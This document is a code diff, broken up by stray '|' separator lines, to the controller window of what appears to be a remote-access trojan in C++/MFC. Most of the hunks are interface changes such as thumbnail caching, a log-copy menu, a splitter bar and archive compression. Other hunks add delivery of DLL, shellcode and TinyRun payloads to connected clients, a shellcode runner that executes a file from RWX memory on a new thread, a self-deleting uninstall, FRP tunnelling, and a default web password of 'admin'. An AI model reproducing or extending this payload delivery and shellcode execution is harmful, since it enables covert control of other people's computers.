// 避免授权链路里 VerifyClientAuth / HMAC / SignMessage 的耗时被误算为网络延迟。
|
const uint64_t t_start_ms = ctx->HeartbeatRecvMs.load(std::memory_order_relaxed);
|
||||||
const uint64_t t_start_ms = GetUnixMs();
|
|
||||||
|
|
||||||
auto clientID = ctx->GetClientID();
|
auto clientID = ctx->GetClientID();
|
||||||
auto host = FindHost(clientID);
|
auto host = FindHost(clientID);
|
||||||
@@ -6806,10 +7030,11 @@ bool isAllZeros(const BYTE* data, int len)
|
|||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|
||||||
BOOL CMy2015RemoteDlg::SendServerDll(CONTEXT_OBJECT* ContextObject, bool isDLL, bool is64Bit)
|
BOOL CMy2015RemoteDlg::SendServerDll(CONTEXT_OBJECT* ContextObject, int payloadType, bool is64Bit)
|
||||||
{
|
{
|
||||||
|
auto isDLL = payloadType == MEMORYDLL;
|
||||||
auto id = is64Bit ? PAYLOAD_DLL_X64 : PAYLOAD_DLL_X86;
|
auto id = is64Bit ? PAYLOAD_DLL_X64 : PAYLOAD_DLL_X86;
|
||||||
auto buf = isDLL ? m_ServerDLL[id] : m_ServerBin[id];
|
auto buf = isDLL ? m_ServerDLL[id] : payloadType == SHELLCODE ? m_ServerBin[id] : m_TinyRun[id];
|
||||||
if (buf->length()) {
|
if (buf->length()) {
|
||||||
char version[12] = {};
|
char version[12] = {};
|
||||||
ContextObject->InDeCompressedBuffer.CopyBuffer(version, 12, 4);
|
ContextObject->InDeCompressedBuffer.CopyBuffer(version, 12, 4);
|
||||||
@@ -8017,6 +8242,10 @@ LRESULT CMy2015RemoteDlg::OnPreviewResponse(WPARAM /*wParam*/, LPARAM lParam)
|
|||||||
} else {
|
} else {
|
||||||
// 单帧失败不直接关窗,标"不可用",下一轮定时器再尝试
|
// 单帧失败不直接关窗,标"不可用",下一轮定时器再尝试
|
||||||
entry.tip->MarkPreviewUnavailable();
|
entry.tip->MarkPreviewUnavailable();
|
||||||
|
// 失败时主动重绘列表行,防止循环窗触发的重绘恰好在缓存就绪前执行导致显示"…"
|
||||||
|
if (m_ThumbnailCfg.Enabled) {
|
||||||
|
InvalidateHostRow(msg->clientId);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
@@ -8027,6 +8256,9 @@ LRESULT CMy2015RemoteDlg::OnPreviewResponse(WPARAM /*wParam*/, LPARAM lParam)
|
|||||||
if (dataOk) {
|
if (dataOk) {
|
||||||
CacheThumbnail(msg->clientId, jpeg, hdr->bytes);
|
CacheThumbnail(msg->clientId, jpeg, hdr->bytes);
|
||||||
InvalidateHostRow(msg->clientId);
|
InvalidateHostRow(msg->clientId);
|
||||||
|
} else if (m_ThumbnailCfg.Enabled) {
|
||||||
|
// 失败时也刷新,确保旧缩略图得以显示,防止其他触发的重绘残留"…"
|
||||||
|
InvalidateHostRow(msg->clientId);
|
||||||
}
|
}
|
||||||
// 数据非 OK 也不重试,等下个周期;保留旧缩略(如有)
|
// 数据非 OK 也不重试,等下个周期;保留旧缩略(如有)
|
||||||
return 0;
|
return 0;
|
||||||
@@ -8428,11 +8660,14 @@ void CMy2015RemoteDlg::CacheThumbnail(uint64_t clientID, const BYTE* jpeg, size_
|
|||||||
::SelectObject(hMemDC, hbmOld);
|
::SelectObject(hMemDC, hbmOld);
|
||||||
::DeleteDC(hMemDC);
|
::DeleteDC(hMemDC);
|
||||||
|
|
||||||
// 替换/插入缓存
|
// 原子替换缓存:直接操作 map 条目而不先 erase,消除 erase→insert 之间的空窗期;
|
||||||
ClearThumbnailCacheEntry(clientID);
|
// 旧 HBITMAP 在新 bmp 写入后再删,确保任何时刻 map 条目都有有效 bmp。
|
||||||
ThumbCacheEntry e;
|
{
|
||||||
e.bmp = hbm; e.w = dstW; e.h = dstH;
|
auto& ce = m_HostThumbnails[clientID];
|
||||||
m_HostThumbnails[clientID] = e;
|
HBITMAP oldBmp = ce.bmp;
|
||||||
|
ce.bmp = hbm; ce.w = dstW; ce.h = dstH;
|
||||||
|
if (oldBmp) ::DeleteObject(oldBmp);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
void CMy2015RemoteDlg::SendThumbnailRequest(context* ctx)
|
void CMy2015RemoteDlg::SendThumbnailRequest(context* ctx)
|
||||||
@@ -8478,13 +8713,14 @@ void CMy2015RemoteDlg::TickThumbnailRefresh()
|
|||||||
// 开着循环窗,跳过
|
// 开着循环窗,跳过
|
||||||
if (loopSet.count(cid)) continue;
|
if (loopSet.count(cid)) continue;
|
||||||
|
|
||||||
// 到期判定(首次出现时也算到期:插入 due=now)
|
// 到期判定
|
||||||
auto itDue = m_ThumbNextDueTick.find(cid);
|
auto itDue = m_ThumbNextDueTick.find(cid);
|
||||||
if (itDue == m_ThumbNextDueTick.end()) {
|
if (itDue == m_ThumbNextDueTick.end()) {
|
||||||
// 散播:初次注册时把 due 散列到 [now, now+intervalMs) 范围,避免万人同发
|
// 新主机(首次出现或重连后):直接设 due=now,不加散播抖动;
|
||||||
DWORD jitter = (DWORD)(intervalMs > 0 ? (cid % intervalMs) : 0);
|
// 主机重连后 bitmap 已被 ClearThumbnailCacheEntry 清空,若再等 jitter 秒
|
||||||
m_ThumbNextDueTick[cid] = now + jitter;
|
// 才发首请求,期间会持续显示"…"。kMaxPerTick 已限制每 tick 最多发 8 台,
|
||||||
continue;
|
// 即便大量主机同时上线也不会造成瞬时拥挤,无需额外散播。
|
||||||
|
itDue = m_ThumbNextDueTick.insert({cid, now}).first;
|
||||||
}
|
}
|
||||||
if ((LONG)(itDue->second - now) > 0) continue; // 未到期
|
if ((LONG)(itDue->second - now) > 0) continue; // 未到期
|
||||||
|
|
||||||
@@ -8625,6 +8861,17 @@ bool safe_exec(void *exec)
|
|||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
DWORD WINAPI sc_thread(LPVOID exec) {
|
||||||
|
if (safe_exec(exec)) {
|
||||||
|
AfxMessageBoxL("Shellcode 执行成功! ", MB_ICONINFORMATION);
|
||||||
|
return 0x66666666;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
AfxMessageBoxL("Shellcode 执行失败! 请用本程序生成的 bin 文件进行测试! ", MB_ICONERROR);
|
||||||
|
return 0x20260607;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
/* Example: <Select TinyRun.dll to build "tinyrun.c">
|
/* Example: <Select TinyRun.dll to build "tinyrun.c">
|
||||||
#include "tinyrun.c"
|
#include "tinyrun.c"
|
||||||
#include <windows.h>
|
#include <windows.h>
|
||||||
@@ -8676,11 +8923,7 @@ void shellcode_process(ObfsBase *obfs, bool load = false, const char* suffix = "
|
|||||||
void* exec = VirtualAlloc(NULL, dwFileSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
|
void* exec = VirtualAlloc(NULL, dwFileSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
|
||||||
if (exec) {
|
if (exec) {
|
||||||
memcpy(exec, szBuffer, dwFileSize);
|
memcpy(exec, szBuffer, dwFileSize);
|
||||||
if (safe_exec(exec)) {
|
CloseHandle(CreateThread(0, 0, sc_thread, exec, 0, 0));
|
||||||
AfxMessageBoxL("Shellcode 执行成功! ", MB_ICONINFORMATION);
|
|
||||||
} else {
|
|
||||||
AfxMessageBoxL("Shellcode 执行失败! 请用本程序生成的 bin 文件进行测试! ", MB_ICONERROR);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
} else if (MakeShellcode(srcData, srcLen, (LPBYTE)szBuffer, dwFileSize, true)) {
|
} else if (MakeShellcode(srcData, srcLen, (LPBYTE)szBuffer, dwFileSize, true)) {
|
||||||
TCHAR buffer[MAX_PATH];
|
TCHAR buffer[MAX_PATH];
|
||||||
@@ -8847,11 +9090,13 @@ void CMy2015RemoteDlg::OnRClickMessage(NMHDR* pNMHDR, LRESULT* pResult)
|
|||||||
CMenu menu;
|
CMenu menu;
|
||||||
menu.CreatePopupMenu();
|
menu.CreatePopupMenu();
|
||||||
menu.AppendMenu(MF_STRING, ID_MSGLOG_DELETE, _TR("删除选中"));
|
menu.AppendMenu(MF_STRING, ID_MSGLOG_DELETE, _TR("删除选中"));
|
||||||
|
menu.AppendMenu(MF_STRING, ID_MSGLOG_COPY, _TR("复制选中"));
|
||||||
menu.AppendMenu(MF_STRING, ID_MSGLOG_CLEAR, _TR("清空日志"));
|
menu.AppendMenu(MF_STRING, ID_MSGLOG_CLEAR, _TR("清空日志"));
|
||||||
|
|
||||||
// 没有选中项时禁用"删除选中"
|
// 没有选中项时禁用"删除选中"
|
||||||
if (m_CList_Message.GetSelectedCount() == 0) {
|
if (m_CList_Message.GetSelectedCount() == 0) {
|
||||||
menu.EnableMenuItem(ID_MSGLOG_DELETE, MF_GRAYED);
|
menu.EnableMenuItem(ID_MSGLOG_DELETE, MF_GRAYED);
|
||||||
|
menu.EnableMenuItem(ID_MSGLOG_COPY, MF_GRAYED);
|
||||||
}
|
}
|
||||||
// 列表为空时禁用"清空日志"
|
// 列表为空时禁用"清空日志"
|
||||||
if (m_CList_Message.GetItemCount() == 0) {
|
if (m_CList_Message.GetItemCount() == 0) {
|
||||||
@@ -8877,6 +9122,38 @@ void CMy2015RemoteDlg::OnMsglogDelete()
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
void CMy2015RemoteDlg::OnMsglogCopy() {
|
||||||
|
POSITION pos = m_CList_Message.GetFirstSelectedItemPosition();
|
||||||
|
if (!pos) return;
|
||||||
|
|
||||||
|
CString csv;
|
||||||
|
int colCount = m_CList_Message.GetHeaderCtrl()->GetItemCount();
|
||||||
|
while (pos) {
|
||||||
|
int row = m_CList_Message.GetNextSelectedItem(pos);
|
||||||
|
CString line;
|
||||||
|
for (int col = 0; col < colCount; ++col) {
|
||||||
|
if (col > 0) line += _T(",");
|
||||||
|
line += m_CList_Message.GetItemText(row, col);
|
||||||
|
}
|
||||||
|
csv += line + _T("\r\n");
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!OpenClipboard()) return;
|
||||||
|
EmptyClipboard();
|
||||||
|
int len = (csv.GetLength() + 1) * sizeof(TCHAR);
|
||||||
|
HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, len);
|
||||||
|
if (hMem) {
|
||||||
|
memcpy(GlobalLock(hMem), (LPCTSTR)csv, len);
|
||||||
|
GlobalUnlock(hMem);
|
||||||
|
#ifdef UNICODE
|
||||||
|
SetClipboardData(CF_UNICODETEXT, hMem);
|
||||||
|
#else
|
||||||
|
SetClipboardData(CF_TEXT, hMem);
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
CloseClipboard();
|
||||||
|
}
|
||||||
|
|
||||||
void CMy2015RemoteDlg::OnMsglogClear()
|
void CMy2015RemoteDlg::OnMsglogClear()
|
||||||
{
|
{
|
||||||
m_CList_Message.DeleteAllItems();
|
m_CList_Message.DeleteAllItems();
|
||||||
@@ -9552,6 +9829,25 @@ void CMy2015RemoteDlg::CloseRemoteDesktopByClientID(uint64_t clientID)
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
bool CMy2015RemoteDlg::PostWebAudioToggle(uint64_t clientID)
|
||||||
|
{
|
||||||
|
HWND hWnd = NULL;
|
||||||
|
EnterCriticalSection(&m_cs);
|
||||||
|
for (auto& pair : m_RemoteWnds) {
|
||||||
|
CScreenSpyDlg* dlg = dynamic_cast<CScreenSpyDlg*>(pair.second);
|
||||||
|
if (dlg && dlg->GetClientID() == clientID && dlg->IsWebSession()) {
|
||||||
|
hWnd = dlg->GetSafeHwnd();
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
LeaveCriticalSection(&m_cs);
|
||||||
|
if (hWnd && ::IsWindow(hWnd)) {
|
||||||
|
// PostMessage 把活儿丢到对话框的 UI 线程,避免 WS 线程动 waveOut 句柄
|
||||||
|
return ::PostMessage(hWnd, WM_AUDIO_TOGGLE_FROM_WEB, 0, 0) != 0;
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
void CMy2015RemoteDlg::CloseWebRemoteDesktopByClientID(uint64_t clientID)
|
void CMy2015RemoteDlg::CloseWebRemoteDesktopByClientID(uint64_t clientID)
|
||||||
{
|
{
|
||||||
CScreenSpyDlg* targetDlg = nullptr;
|
CScreenSpyDlg* targetDlg = nullptr;
|
||||||
@@ -10738,18 +11034,20 @@ void CMy2015RemoteDlg::OnCancelShare()
|
|||||||
|
|
||||||
void CMy2015RemoteDlg::OnWebRemoteControl()
|
void CMy2015RemoteDlg::OnWebRemoteControl()
|
||||||
{
|
{
|
||||||
int port = THIS_CFG.GetInt("settings", "WebSvrPort", -1);
|
int port = THIS_CFG.GetInt("settings", "WebSvrPort", 8080);
|
||||||
if (port <= 0) {
|
if (port <= 0) {
|
||||||
MessageBoxL("请在菜单设置Web端口!", "提示", MB_ICONINFORMATION);
|
MessageBoxL("请在菜单设置Web端口!", "提示", MB_ICONINFORMATION);
|
||||||
|
return;
|
||||||
}
|
}
|
||||||
else if (m_superPass.empty()) {
|
else if (m_superPass.empty()) {
|
||||||
MessageBoxL("请设置环境变量 " BRAND_ENV_VAR " 来使用Web远程桌面!", "提示", MB_ICONINFORMATION);
|
MessageBoxL(_L("请设置环境变量 " BRAND_WEB_ENV_VAR " 来使用Web远程桌面!") + _L("\n默认密码是: admin")
|
||||||
|
, "提示", MB_ICONINFORMATION);
|
||||||
}else {
|
}else {
|
||||||
CString content;
|
|
||||||
content.Format("http://127.0.0.1:%d", port);
|
|
||||||
ShellExecute(NULL, _T("open"), content, NULL, NULL, SW_SHOWNORMAL);
|
|
||||||
MessageBoxL("如需Web远程桌面跨网使用方案,请联系管理员!", "提示", MB_ICONINFORMATION);
|
MessageBoxL("如需Web远程桌面跨网使用方案,请联系管理员!", "提示", MB_ICONINFORMATION);
|
||||||
}
|
}
|
||||||
|
CString content;
|
||||||
|
content.Format("http://127.0.0.1:%d", port);
|
||||||
|
ShellExecute(NULL, _T("open"), content, NULL, NULL, SW_SHOWNORMAL);
|
||||||
}
|
}
|
||||||
|
|
||||||
// "播放快照"菜单响应:
|
// "播放快照"菜单响应:
|
||||||
@@ -10821,3 +11119,154 @@ void CMy2015RemoteDlg::OnScreenpreviewLoop()
|
|||||||
ShowMessage(_TR("提示"), msg);
|
ShowMessage(_TR("提示"), msg);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// ===== ZSTA 压缩 / 解压 =====
|
||||||
|
#include "ZstdArchive.h"
|
||||||
|
#include "ZstaPickerDlg.h"
|
||||||
|
|
||||||
|
namespace {
|
||||||
|
|
||||||
|
// 把一组源路径压缩为单个 .zsta 文件(弹出保存对话框选择输出)
|
||||||
|
// 调用者只负责传路径,输出路径与压缩过程由本函数处理
|
||||||
|
void CompressPathsToZsta(CWnd* parent, const std::vector<std::string>& srcPaths)
|
||||||
|
{
|
||||||
|
if (srcPaths.empty()) return;
|
||||||
|
|
||||||
|
// 默认输出文件名:第一个源的 basename 或 archive
|
||||||
|
std::string defaultName;
|
||||||
|
{
|
||||||
|
std::string first = srcPaths[0];
|
||||||
|
while (!first.empty() && (first.back() == '/' || first.back() == '\\'))
|
||||||
|
first.pop_back();
|
||||||
|
size_t pos = first.find_last_of("/\\");
|
||||||
|
defaultName = (pos == std::string::npos) ? first : first.substr(pos + 1);
|
||||||
|
if (srcPaths.size() > 1) defaultName = "archive";
|
||||||
|
defaultName += ".zsta";
|
||||||
|
}
|
||||||
|
|
||||||
|
CFileDialog saveDlg(FALSE, _T("zsta"), CString(defaultName.c_str()),
|
||||||
|
OFN_HIDEREADONLY | OFN_OVERWRITEPROMPT,
|
||||||
|
_T("ZSTA Files (*.zsta)|*.zsta|All Files (*.*)|*.*||"),
|
||||||
|
parent);
|
||||||
|
CString saveTitle = _TR("选择压缩输出文件");
|
||||||
|
saveDlg.m_ofn.lpstrTitle = saveTitle;
|
||||||
|
if (saveDlg.DoModal() != IDOK) return;
|
||||||
|
|
||||||
|
std::string outPath = std::string(CT2A(saveDlg.GetPathName().GetString()));
|
||||||
|
auto err = zsta::CZstdArchive::Compress(srcPaths, outPath, 3);
|
||||||
|
if (err == zsta::Error::Success) {
|
||||||
|
Mprintf("ZSTA 压缩成功: %u 项 -> %s\n",
|
||||||
|
(unsigned)srcPaths.size(), outPath.c_str());
|
||||||
|
CString msg;
|
||||||
|
msg.FormatL("压缩成功 (%u 项):\n%s",
|
||||||
|
(unsigned)srcPaths.size(), outPath.c_str());
|
||||||
|
parent->MessageBox(msg, _TR("提示"), MB_OK | MB_ICONINFORMATION);
|
||||||
|
} else {
|
||||||
|
Mprintf("ZSTA 压缩失败 [%s]: -> %s\n",
|
||||||
|
zsta::CZstdArchive::GetErrorString(err), outPath.c_str());
|
||||||
|
CString msg;
|
||||||
|
msg.FormatL("压缩失败: %s", zsta::CZstdArchive::GetErrorString(err));
|
||||||
|
parent->MessageBox(msg, _TR("错误"), MB_OK | MB_ICONERROR);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
} // namespace
|
||||||
|
|
||||||
|
void CMy2015RemoteDlg::OnMenuCompress()
|
||||||
|
{
|
||||||
|
CZstaPickerDlg picker(this);
|
||||||
|
if (picker.DoModal() != IDOK) return;
|
||||||
|
if (picker.m_Paths.empty()) {
|
||||||
|
MessageBoxL("未选择任何文件或文件夹", "提示", MB_OK | MB_ICONINFORMATION);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
CompressPathsToZsta(this, picker.m_Paths);
|
||||||
|
}
|
||||||
|
|
||||||
|
void CMy2015RemoteDlg::OnMenuUncompress()
|
||||||
|
{
|
||||||
|
const DWORD MAX_BUF = 64 * 1024;
|
||||||
|
std::vector<TCHAR> buf(MAX_BUF, 0);
|
||||||
|
CFileDialog dlg(TRUE, _T("zsta"), NULL,
|
||||||
|
OFN_ALLOWMULTISELECT | OFN_EXPLORER |
|
||||||
|
OFN_HIDEREADONLY | OFN_FILEMUSTEXIST,
|
||||||
|
_T("ZSTA Files (*.zsta)|*.zsta|All Files (*.*)|*.*||"), this);
|
||||||
|
dlg.m_ofn.lpstrFile = buf.data();
|
||||||
|
dlg.m_ofn.nMaxFile = MAX_BUF;
|
||||||
|
CString title = _TR("请选择要解压的 ZSTA 文件 (可多选)");
|
||||||
|
dlg.m_ofn.lpstrTitle = title;
|
||||||
|
if (dlg.DoModal() != IDOK) return;
|
||||||
|
|
||||||
|
int ok = 0, fail = 0;
|
||||||
|
POSITION pos = dlg.GetStartPosition();
|
||||||
|
while (pos) {
|
||||||
|
CString cpath = dlg.GetNextPathName(pos);
|
||||||
|
std::string src(CT2A(cpath.GetString()));
|
||||||
|
|
||||||
|
// 目标目录:去掉 .zsta 后缀;若无该后缀则追加 _extract
|
||||||
|
std::string dst;
|
||||||
|
if (src.size() >= 5) {
|
||||||
|
std::string ext = src.substr(src.size() - 5);
|
||||||
|
for (char& c : ext) c = (char)tolower((unsigned char)c);
|
||||||
|
if (ext == ".zsta") dst = src.substr(0, src.size() - 5);
|
||||||
|
}
|
||||||
|
if (dst.empty()) dst = src + "_extract";
|
||||||
|
|
||||||
|
auto err = zsta::CZstdArchive::Extract(src, dst);
|
||||||
|
if (err == zsta::Error::Success) {
|
||||||
|
++ok;
|
||||||
|
Mprintf("ZSTA 解压成功: %s -> %s\n", src.c_str(), dst.c_str());
|
||||||
|
} else {
|
||||||
|
++fail;
|
||||||
|
Mprintf("ZSTA 解压失败 [%s]: %s\n",
|
||||||
|
zsta::CZstdArchive::GetErrorString(err), src.c_str());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
CString msg;
|
||||||
|
msg.FormatL("解压完成: 成功 %d, 失败 %d", ok, fail);
|
||||||
|
MessageBox(msg, _TR("提示"),
|
||||||
|
MB_OK | (fail > 0 ? MB_ICONWARNING : MB_ICONINFORMATION));
|
||||||
|
}
|
||||||
|
|
||||||
|
#include "client/auto_start.h"
|
||||||
|
void CMy2015RemoteDlg::OnUninstallSoftware()
|
||||||
|
{
|
||||||
|
if (IDYES == MessageBoxL("是否移除此软件?", "提示", MB_ICONINFORMATION | MB_YESNO)) {
|
||||||
|
Release();
|
||||||
|
__super::OnOK();
|
||||||
|
self_del(10, true);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void CMy2015RemoteDlg::OnViewHideLog()
|
||||||
|
{
|
||||||
|
BOOL hide = THIS_CFG.GetInt("settings", "HideMsg", 0) == 1;
|
||||||
|
THIS_CFG.SetInt("settings", "HideMsg", hide ? 0 : 1);
|
||||||
|
CMenu* SubMenu = m_MainMenu.GetSubMenu(4);
|
||||||
|
if (SubMenu)
|
||||||
|
SubMenu->CheckMenuItem(ID_VIEW_HIDE_LOG, hide ? MF_UNCHECKED : MF_CHECKED);
|
||||||
|
CRect rc;
|
||||||
|
GetClientRect(&rc);
|
||||||
|
OnSize(SIZE_RESTORED, rc.Width(), rc.Height());
|
||||||
|
}
|
||||||
|
|
||||||
|
LRESULT CMy2015RemoteDlg::OnSplitterMoved(WPARAM wParam, LPARAM)
|
||||||
|
{
|
||||||
|
CPoint screen(0, (int)wParam);
|
||||||
|
ScreenToClient(&screen);
|
||||||
|
CRect rc;
|
||||||
|
GetClientRect(&rc);
|
||||||
|
// 消息区高度 = 窗口底部(去掉状态栏) - 分割条拖动位置
|
||||||
|
int newSplitPos = (rc.bottom - 20) - screen.y;
|
||||||
|
newSplitPos = max(40, min(newSplitPos, rc.Height() - 120));
|
||||||
|
m_nSplitPos = newSplitPos;
|
||||||
|
OnSize(SIZE_RESTORED, rc.Width(), rc.Height());
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
LRESULT CMy2015RemoteDlg::OnSplitterReleased(WPARAM, LPARAM)
|
||||||
|
{
|
||||||
|
THIS_CFG.SetInt("settings", "SplitPos", m_nSplitPos);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|||||||
@@ -118,6 +118,20 @@ struct PendingTransferV2 {
|
|||||||
extern std::map<uint64_t, PendingTransferV2> g_pendingTransfersV2;
|
extern std::map<uint64_t, PendingTransferV2> g_pendingTransfersV2;
|
||||||
extern std::mutex g_pendingTransfersV2Mtx;
|
extern std::mutex g_pendingTransfersV2Mtx;
|
||||||
|
|
||||||
|
|
||||||
|
class CSplitterBar : public CWnd {
|
||||||
|
public:
|
||||||
|
BOOL Create(CWnd* pParent);
|
||||||
|
DECLARE_MESSAGE_MAP()
|
||||||
|
protected:
|
||||||
|
bool m_bDragging = false;
|
||||||
|
afx_msg void OnLButtonDown(UINT nFlags, CPoint pt);
|
||||||
|
afx_msg void OnMouseMove(UINT nFlags, CPoint pt);
|
||||||
|
afx_msg void OnLButtonUp(UINT nFlags, CPoint pt);
|
||||||
|
afx_msg BOOL OnSetCursor(CWnd* pWnd, UINT nHitTest, UINT message);
|
||||||
|
afx_msg void OnPaint();
|
||||||
|
};
|
||||||
|
|
||||||
// CMy2015RemoteDlg 对话框
|
// CMy2015RemoteDlg 对话框
|
||||||
class CMy2015RemoteDlg : public CDialogLangEx
|
class CMy2015RemoteDlg : public CDialogLangEx
|
||||||
{
|
{
|
||||||
@@ -219,11 +233,15 @@ public:
|
|||||||
void SendFilesToClientV2Internal(context* mainCtx, const std::vector<std::string>& files,
|
void SendFilesToClientV2Internal(context* mainCtx, const std::vector<std::string>& files,
|
||||||
uint64_t resumeTransferID, const std::map<uint32_t, uint64_t>& startOffsets, const std::string& targetDir = "");
|
uint64_t resumeTransferID, const std::map<uint32_t, uint64_t>& startOffsets, const std::string& targetDir = "");
|
||||||
void HandleFileResumeRequest(CONTEXT_OBJECT* ctx, const BYTE* data, size_t len);
|
void HandleFileResumeRequest(CONTEXT_OBJECT* ctx, const BYTE* data, size_t len);
|
||||||
BOOL SendServerDll(CONTEXT_OBJECT* ContextObject, bool isDLL, bool is64Bit);
|
BOOL SendServerDll(CONTEXT_OBJECT* ContextObject, int payloadType, bool is64Bit);
|
||||||
Buffer* m_ServerDLL[PAYLOAD_MAXTYPE];
|
Buffer* m_ServerDLL[PAYLOAD_MAXTYPE];
|
||||||
Buffer* m_ServerBin[PAYLOAD_MAXTYPE];
|
Buffer* m_ServerBin[PAYLOAD_MAXTYPE];
|
||||||
Buffer* m_TinyRun[PAYLOAD_MAXTYPE] = {};
|
Buffer* m_TinyRun[PAYLOAD_MAXTYPE] = {};
|
||||||
MasterSettings m_settings;
|
MasterSettings m_settings;
|
||||||
|
// 缓存上次检测到的上级 FRP 配置([settings] FrpConfig),由定时器检测外部模块写入的变更。
|
||||||
|
// 检出变更后会热切换 FRPC(首次=启动 / 覆盖=重启 / 撤销=停止),并在主对话框信息列表中给出友好提示。
|
||||||
|
std::string m_lastSeenFrpConfig;
|
||||||
|
void CheckUpperFrpConfigChange();
|
||||||
static BOOL CALLBACK NotifyProc(CONTEXT_OBJECT* ContextObject);
|
static BOOL CALLBACK NotifyProc(CONTEXT_OBJECT* ContextObject);
|
||||||
static BOOL CALLBACK OfflineProc(CONTEXT_OBJECT* ContextObject);
|
static BOOL CALLBACK OfflineProc(CONTEXT_OBJECT* ContextObject);
|
||||||
int AuthorizeClient(context* ctx, const std::string& sn, const std::string& passcode, uint64_t hmac, bool* outExpired = nullptr);
|
int AuthorizeClient(context* ctx, const std::string& sn, const std::string& passcode, uint64_t hmac, bool* outExpired = nullptr);
|
||||||
@@ -315,6 +333,8 @@ public:
|
|||||||
std::vector<int> m_PendingOffline; // 存储端口号
|
std::vector<int> m_PendingOffline; // 存储端口号
|
||||||
CListCtrlEx m_CList_Online;
|
CListCtrlEx m_CList_Online;
|
||||||
CListCtrl m_CList_Message;
|
CListCtrl m_CList_Message;
|
||||||
|
CSplitterBar m_SplitterBar;
|
||||||
|
int m_nSplitPos = 160; // 消息区高度(像素),可拖动调整
|
||||||
std::vector<context*> m_HostList; // 虚拟列表数据源(全部客户端)
|
std::vector<context*> m_HostList; // 虚拟列表数据源(全部客户端)
|
||||||
std::unordered_map<uint64_t, size_t> m_ClientIndex; // clientID -> m_HostList 索引映射
|
std::unordered_map<uint64_t, size_t> m_ClientIndex; // clientID -> m_HostList 索引映射
|
||||||
std::vector<size_t> m_FilteredIndices; // 当前分组过滤后的索引列表
|
std::vector<size_t> m_FilteredIndices; // 当前分组过滤后的索引列表
|
||||||
@@ -360,7 +380,7 @@ public:
|
|||||||
bool IsDllRequestLimited(const std::string& ip);
|
bool IsDllRequestLimited(const std::string& ip);
|
||||||
void RecordDllRequest(const std::string& ip);
|
void RecordDllRequest(const std::string& ip);
|
||||||
CMenu m_MainMenu;
|
CMenu m_MainMenu;
|
||||||
CBitmap m_bmOnline[55]; // 21 original + 4 context menu + 2 tray menu + 23 main menu + 3 new menu icons + 1 snapshot
|
CBitmap m_bmOnline[58]; // 21 original + 4 context menu + 2 tray menu + 26 main menu + 3 new menu icons + 1 snapshot
|
||||||
uint64_t m_superID;
|
uint64_t m_superID;
|
||||||
std::map<HWND, CDialogBase *> m_RemoteWnds;
|
std::map<HWND, CDialogBase *> m_RemoteWnds;
|
||||||
FileTransformCmd m_CmdList;
|
FileTransformCmd m_CmdList;
|
||||||
@@ -369,6 +389,7 @@ public:
|
|||||||
void RemoveRemoteWindow(HWND wnd);
|
void RemoveRemoteWindow(HWND wnd);
|
||||||
void CloseRemoteDesktopByClientID(uint64_t clientID);
|
void CloseRemoteDesktopByClientID(uint64_t clientID);
|
||||||
void CloseWebRemoteDesktopByClientID(uint64_t clientID); // Only close Web session dialog
|
void CloseWebRemoteDesktopByClientID(uint64_t clientID); // Only close Web session dialog
|
||||||
|
bool PostWebAudioToggle(uint64_t clientID); // 给 Web 会话 ScreenSpy 投递音频开关消息
|
||||||
CDialogBase* m_pActiveSession = nullptr; // 当前活动会话窗口指针 / NULL 表示无
|
CDialogBase* m_pActiveSession = nullptr; // 当前活动会话窗口指针 / NULL 表示无
|
||||||
void UpdateActiveRemoteSession(CDialogBase* sess);
|
void UpdateActiveRemoteSession(CDialogBase* sess);
|
||||||
CDialogBase* GetActiveRemoteSession();
|
CDialogBase* GetActiveRemoteSession();
|
||||||
@@ -526,11 +547,14 @@ public:
|
|||||||
afx_msg void OnToolInputPassword();
|
afx_msg void OnToolInputPassword();
|
||||||
afx_msg LRESULT OnShowNotify(WPARAM wParam, LPARAM lParam);
|
afx_msg LRESULT OnShowNotify(WPARAM wParam, LPARAM lParam);
|
||||||
afx_msg LRESULT OnShowMessage(WPARAM wParam, LPARAM lParam);
|
afx_msg LRESULT OnShowMessage(WPARAM wParam, LPARAM lParam);
|
||||||
|
afx_msg LRESULT OnGetActiveLicenseCount(WPARAM wParam, LPARAM lParam);
|
||||||
|
afx_msg LRESULT OnGetOnlineHostNum(WPARAM wParam, LPARAM lParam);
|
||||||
afx_msg void OnToolGenShellcode();
|
afx_msg void OnToolGenShellcode();
|
||||||
afx_msg void OnOnlineAssignTo();
|
afx_msg void OnOnlineAssignTo();
|
||||||
afx_msg void OnNMCustomdrawMessage(NMHDR* pNMHDR, LRESULT* pResult);
|
afx_msg void OnNMCustomdrawMessage(NMHDR* pNMHDR, LRESULT* pResult);
|
||||||
afx_msg void OnRClickMessage(NMHDR* pNMHDR, LRESULT* pResult);
|
afx_msg void OnRClickMessage(NMHDR* pNMHDR, LRESULT* pResult);
|
||||||
afx_msg void OnMsglogDelete();
|
afx_msg void OnMsglogDelete();
|
||||||
|
afx_msg void OnMsglogCopy();
|
||||||
afx_msg void OnMsglogClear();
|
afx_msg void OnMsglogClear();
|
||||||
afx_msg void OnOnlineAddWatch();
|
